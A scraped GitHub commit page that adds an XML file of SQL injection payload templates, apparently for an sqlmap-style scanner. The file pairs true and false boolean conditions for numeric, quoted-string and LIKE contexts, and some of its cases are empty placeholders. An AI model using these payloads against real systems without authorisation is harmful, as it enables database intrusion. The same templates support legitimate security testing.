Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit d9d0c97

Browse files
committed
new file
1 parent adf2231 commit d9d0c97

1 file changed

Lines changed: 29 additions & 0 deletions

File tree

xml/injection.xml

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
3+
<root>
4+
<case tag="custom" desc="custom">
5+
<positive format="%s%s%s AND %s%d=%d %s" params="value, prefix, &quot;)&quot; * parenthesis, &quot;(&quot; * parenthesis, randInt, randInt, postfix"/>
6+
<negative format="%s%s%s AND %s%d=%d %s" params="value, prefix, &quot;)&quot; * parenthesis, &quot;(&quot; * parenthesis, randInt, randInt + 1, postfix"/>
7+
</case>
8+
<case tag="numeric" desc="unescaped numeric">
9+
<positive format="%s%s AND %s%d=%d" params="value, &quot;)&quot; * parenthesis, &quot;(&quot; * parenthesis, randInt, randInt"/>
10+
<negative format="%s%s AND %s%d=%d" params="value, &quot;)&quot; * parenthesis, &quot;(&quot; * parenthesis, randInt, randInt + 1"/>
11+
</case>
12+
<case tag="stringsingle" desc="single quoted string">
13+
<positive format="%s'%s AND %s'%s'='%s" params="value, &quot;)&quot; * parenthesis, &quot;(&quot; * parenthesis, randStr, randStr"/>
14+
<negative format="%s'%s AND %s'%s'='%s" params="value, &quot;)&quot; * parenthesis, &quot;(&quot; * parenthesis, randStr, randStr + randomStr(1)"/>
15+
</case>
16+
<case tag="likesingle" desc="LIKE single quoted string">
17+
<positive format="%s'%s AND %s'%s' LIKE '%s" params="value, &quot;)&quot; * parenthesis, &quot;(&quot; * parenthesis, randStr, randStr"/>
18+
<negative format="" params=""/>
19+
</case>
20+
<case tag="custom" desc="custom">
21+
<positive format="" params=""/>
22+
<negative format="" params=""/>
23+
</case>
24+
<case tag="custom" desc="custom">
25+
<positive format="" params=""/>
26+
<negative format="" params=""/>
27+
</case>
28+
29+
</root>

0 commit comments

Comments
 (0)